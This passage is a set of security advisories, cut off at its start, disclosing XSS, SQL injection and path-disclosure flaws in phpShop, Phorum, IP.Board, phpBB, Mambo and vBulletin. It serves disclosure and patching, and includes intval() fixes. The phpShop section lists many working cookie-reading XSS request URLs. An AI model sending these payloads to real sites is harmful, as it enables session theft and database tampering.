An attacker can input malicious script or HTML into his shipping information. This will then be executed by an administrator or shop owner when viewing the attackers order. It may be used by an attacker to have an administrator carry out commands or execute administrative functions unknowingly. 

Cross Site Scripting:
Cross Site Scripting in phpShop is just insane. It takes place on almost any and every page. This is not an exaggeration either unfortunately. This takes place because a large number, if not majority of the variables a user passes to the script via the GET method are printed directly to screen using php echo with NO type of sanitizing at all. Furthermore, any page you try and visit that you do not have access to will allow XSS because ANY variable you pass to the get method will be stored in the login form as a hidden field. 

/?page=admin/index&GulfTech="><script>alert(document.cookie)</script> 

Will allow for Cross Site Scripting, strangely enough. Like I said before, XSS is possible on just about every page of phpShop, so I am not going to spend hours making a list of hundreds of instances of the XSS vulns, but a handful of examples are provided below. 

/?page=shop/browse&category_id="><script>alert(document.cookie)</script>
/?func="><script>alert(document.cookie)</script>
/?login="><script>alert(document.cookie)</script>
/?page=account/shipto&user_info_id="><script>alert(document.cookie)</script>
/?page=shopper/index&module_description="><script>alert(document.cookie)</script>
/?page=shopper/menu&menu_label="><script>alert(document.cookie)</script>
/?page=shopper/menu&shopper_list_mn="><script>alert(document.cookie)</script>
/?page=shopper/menu&modulename="><script>alert(document.cookie)</script>
/?page=shopper/menu&shopper_group_list_mnu="><script>alert(document.cookie)</script>
/?page=shopper/menu&shopper_group_form_mnu="><script>alert(document.cookie)</script>
/?page=vendor/index&module_description="><script>alert(document.cookie)</script>
/?page=vendor/index&menu_label="><script>alert(document.cookie)</script>
/?page=vendor/index&sess="><script>alert(document.cookie)</script>
/?page=vendor/index&leftbar_title_bgcolor="><script>alert(document.cookie)</script> 

Solution:
The phpShop community has released a patch that supposedly resolves these issues. Users are encouraged to apply the patch as soon as possible. 
http://forums.edikon.com/index.php?act=ST&f=2&t=4634 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
Phorum Cross Site Scripting

Vendor: Phorum
Product: Phorum
Version: <= 5.0.3 Beta
Website: http://www.phorum.org/

BID: 9882 

Description:
Phorum is a web based message board written in PHP. Phorum is designed with high-availability and visitor ease of use in mind. Features such as mailing list integration, easy customization and simple installation make Phorum a powerful add-in to any website. 

Problem:
Phorum have pached a good number of XSS (Cross Site Scripting) issues in the past, but there is still some work to be done regarding these issues before the final release of Phorum Version 5. The first issue I am going to talk about lies in "login.php" If you look at the HTML source code you should see two hidden variables. One called "f" which specifies the forum id, and one called "target" which specifies the location to take the user after they login. Unfortunately both of these values are taken directly from the value of HTTP_REFERER without any validation. While there is a global script in forum that checks for the <script> tag, it will allow for pretty much any thing else, and most of you know it is not hard to execute javascript inside of a tag which is allowed. This same vulnerability also exists in "register.php" And while not the exact same, a similar problem to these two exists in "profile.php" also. Below are some examples. 

login.php?HTTP_REFERER=[XSS]
register.php?&HTTP_REFERER=[XSS]
profile.php?id=2&action=edit&target=[XSS] 

Solution:
The vendor was contacted and immeadiately responded, and will be releasing a fix soon. Thanks to Brian Moon and the rest of the forum dev team for such a quick response. It is appreciated. 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
IP.Board SQL Injection

Vendor: Invision Power Services
Product: IP.Board
Version: <= 1.3
Website: http://www.invisionboard.com/

BID: 9810 

Description:
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world. 

Problem:
There are three problems I am going to talk about here. neither I believe to be critical. The first causes an SQL error by tampering with the offset in the "sources/Memberlist.php" feature. Below is an example of a "vulnerable" query. 

index.php?&act=Members&max_results=10&filter=ALL&sort_order=asc&sort_key=name&st=[ Junk ] 

The same issue is also present in the "sources/Online.php" file
index.php?&act=Online&CODE=listall&sort_key=click&sort_order=desc&show_mem=all&st=[ Junk ] 

The other problem is that it is easy for an attacker to learn the full physical path of the webserver. This can be accomplished via the "Change Personal Photo" option in the user control panel. By entering an invalid character such as a null character "%20" in the upload box and submitting the form you will be greeted by the following error message: 

Warning: getimagesize() [function.getimagesize]: 
Read error! in /full/path/sources/lib/usercp_functions.php on line 192 

Solution:
These are not critical issues, so they will probably not be addressed until the next public release on Invision Power Board.
Hello,

Thanks for the email.

All outstanding non-critical reports will be dealt with in the next 
release. The discussion on the forum password plaintext vulnberability 
is a little moot as it's documented as a 'quick fix' forum permission 
and shouldn't be used in place of forum permissions. In any case, this 
may well be resolved by using an MD5 hash in the cookie.

Regards

Matthew Mecham
Invision Power Board Lead Developer
Invision Power Services, Inc. CEO


Credits:
James Bercegay of the GulfTech Security Research Team.
            
phpBB Cross Site Scripting

Vendor: phpBB Group
Product: phpBB
Version: <= 2.0.6d
Website: http://www.phpbb.com/

BID: 9865 9866 

Description:
phpBB is a high powered, fully scalable, and highly customisable open-source bulletin board package. phpBB has a user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community solution for all web sites. 

Problem:
phpBB is a great forum system used by many millions of people. It is one of the more secure of the forum systems, but has a few issues still present; both of which allow for XSS (Cross Site Scripting). This problem presents itself in two different places. One of these places is viewtopic.php and the other is viewforum.php Below are examples along with a brief explanation on how to replicate this issue. 

viewforum.php?f=[FNUM]&topicdays=[DNUM][XSS] 

FNUM is a valid forum number. DNUM is the number of days to check. If you get no results with 1 for example try 99 and so forth and so on. XSS is whatever code is injected. 

viewtopic.php?t=[TNUM]&postdays=[DNUM][XSS] 

This is nearly the same issue as above, it just happens to be present in multiple files. The only difference is TNUM is a valid topic id number. Remember, the query must display results in order for the XSS to take place. Additionally the offset (start) variable may be used to get results, but in most cases is unnecessary. 

Solution:
I have released a fix for this vulnerability. It requires a valid integer for the affected variables, and thus eliminates this vulnerability from taking place. You can find the fix by following the link below. I have also included a fix for PNphpBB. 

http://www.gulftech.org/vuln/phpBB2.0.6dfix.rar
http://www.gulftech.org/vuln/pnphpbb1.2.1fix.rar 

Alternatively you can do it yourself by following the instructions listed below. 

-----[ OPEN ]-----------------------------------

viewforum.php

-----[ FIND ]-----------------------------------

if ( !empty($HTTP_POST_VARS['topicdays']) || !empty($HTTP_GET_VARS['topicdays']) )
{
	$topic_days = ( !empty($HTTP_POST_VARS['topicdays']) ) ? 
	$HTTP_POST_VARS['topicdays'] : $HTTP_GET_VARS['topicdays'];
	$min_topic_time = time() - ($topic_days * 86400);

-----[ REPLACE WITH ]---------------------------

if ( !empty($HTTP_POST_VARS['topicdays']) || !empty($HTTP_GET_VARS['topicdays']) )
{
	$topic_days = ( !empty($HTTP_POST_VARS['topicdays']) ) ? 
	intval($HTTP_POST_VARS['topicdays']) : intval($HTTP_GET_VARS['topicdays']);
	$min_topic_time = time() - ($topic_days * 86400);





-----[ OPEN ]-----------------------------------

viewtopic.php

-----[ FIND ]-----------------------------------

if( !empty($HTTP_POST_VARS['postdays']) || !empty($HTTP_GET_VARS['postdays']) )
{
	$post_days = ( !empty($HTTP_POST_VARS['postdays']) ) ? 
	$HTTP_POST_VARS['postdays'] : $HTTP_GET_VARS['postdays'];
	$min_post_time = time() - (intval($post_days) * 86400);

-----[ REPLACE WITH ]---------------------------

if( !empty($HTTP_POST_VARS['postdays']) || !empty($HTTP_GET_VARS['postdays']) )
{
	$post_days = ( !empty($HTTP_POST_VARS['postdays']) ) ? 
	intval($HTTP_POST_VARS['postdays']) : intval($HTTP_GET_VARS['postdays']);
	$min_post_time = time() - (intval($post_days) * 86400);


phpBB development team will be releasing an official fix soon. Please check thier website, or the sourceforge projects page of phpBB for any updates. The sourceforge projects page for phpBB can be located @ http://sourceforge.net/projects/phpbb The fix supplied here should suffice though. If you feel this is incorrect please contact me with details of any problems you experience. And a big thanks to Meik Sievertsen and the rest of the phpBB team for addressing these issues in a very prompt and professional manner. 

Update:
The phpBB team has released the phpBB 2.0.7 version which addresses a number of vulns including the vulnerabilities listed here. They have also released an official fix for the viewtopic.php and viewforum.php issues, but it is no different than the one we released. So get it there, or get it here. Just be sure to get it. The link to the phpBB announcment is located @ http://www.phpbb.com/phpBB/viewtopic.php?t=180610 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
Mambo Multiple Vulnerabilities

Vendor: Mambo Open Source
Product: Mambo
Version: <= 4.5
Website: http://www.mamboserver.com/

BID: 9890 9891 

Description:
Mambo Open Source is the finest open source Web Content Management System available today. Mambo Open Source makes communicating via the Web easy. Have you always wanted to have your own site but never understood how? Well Mambo Open Source is just the ticket! With Mambo Open Source there is no need for HTML, XML or DHTML skills, just enter your content, add a picture and then through the easy to use administrator web-interface ...click Publish! Simple ... Quick ... And easy! With the in-built editor Mambo Open Source allows you to design and create your content without the need for HTML code. Maintaining a website has never been easier. 

Cross Site Scripting:
There are a few variables that will allow for XSS (cross site scripting) on most pages of a Mambo Open Source Installation. The variables in question are "return", and the variable "mos_change_template" variable. Below are some examples of these mentioned XSS problems. 

index.php?return=[XSS]
index.php?mos_change_template=[XSS] 

The "return" variable is just the contents of the url, so it allows you to pass pretty much any junk to the url and have it printed straight to the page without being validated. 

SQL Injection Vulnerability:
It is possible for an attacker or malicious user to influence SQL queries by altering the "id" variable. The below examples is not malicious so they will just trigger an error. The query gets passed near 

"SELECT title FROM mos_categories WHERE id=[SQL]" in "pathway.php" 

Please note that this vuln is also likely to exist in other places as well. 
[VID] = A vaild id relating to the resource
[SQL] = An SQL query thats to be executed 

index.php?option=content&task=view&id=[SQL]&Itemid=[VID]
index.php?option=content&task=category§ionid=[VID]&id=[SQL]&Itemid=[VID]
index.php?option=content&task=category§ionid=[VID]&id=[SQL]&Itemid=[VID] 


if ($id) {
	$database->setQuery( "SELECT title FROM #__categories WHERE id=$id" );
	$title = $database->loadResult();
	echo $database->getErrorMsg();

	$id = max( array_keys( $mitems ) ) + 1;
	$mitem = pathwayMakeLink(
	$id,
	$title,
	"index.php?option=$option&task=$task&id=$id&Itemid=$Itemid",
	$Itemid
	);
	$mitems[$id] = $mitem;
	$Itemid = $id;
}

As you can see in this code snip from pathway.php, the variable $id is passed directly into the query without any sort of real validation. This is however resolved in the newly updated version of Mambo Open Source by requiring $id to be validated via the intval() function. That way it only returns a valid integer and thus prevents SQL injection from happening. 

Solution:
Special thanks goes to Robert Castley for his very prompt, and professional response, and for the genuine concern regarding the security of Mambo Open Source server. A new version of the Mambo Open Source package is now available from thier official website and should be applied as soon as possible. 

Credits:
James Bercegay of the GulfTech Security Research Team.
            
vBulletin Cross Site Scripting

Vendor: Jelsoft Enterprises
Product: vBulletin
Version: <= 3.0.0 RC4
Website: http://www.vbulletin.com/

BID: 9887 9888 9889 9940 9943 

Description:
vBulletin is a powerful, scalable and fully customisable forums package for your web site. Based on the PHP language, backed with a blisteringly fast MySQL back-end database, vBulletin is the ideal community solution for all medium-to-large sites. 

Problem:
JelSoft vBulletin is prone to attack in six different files (maybe more) The files affected are "showthread.php", "forumdisplay.php", "private.php" and also the "memberlist.php" file. The "memberlist.php" and "private.php" files does not seem to be prone to the same attack I am about to talk about in versions three and later. The type of XSS that takes place though on vBulletin is what I would call a higher risk XSS issue. What I mean by that is alot of times slashes will be added to certain characters, or certain strings/characters disallowed, but in vBulletin you can eneter pretty much anything and have it execute sucessfully. This makes it a whole lot easier for an attacker to use these vulnerabilities to disclose a users information. Below are examples of the issues I have talked about here. Remember, the "memberlist.php" and "private.php" issues only seems to affect versions prior to 3.0, but the others affect all versions. 

showthread.php?t=[VID]&page=[INT][XSS]
forumdisplay.php?f=[VID]&page=[INT]&sort=lastpost&order=[XSS]
private.php?&action=newmessage&userid=[UID]&forward=[XSS]
memberlist.php?action=getall&what=[XSS]<r=&perpage=25&orderby=username
admincp/index.php?vb_login_username=[XSS]
modcp/index.php?vb_login_username=[XSS] 

Solution:
JelSoft were notified and there will probably be a release of a patch or update to resolve these issues. 

Credits:
James Bercegay of the GulfTech Security Research Team.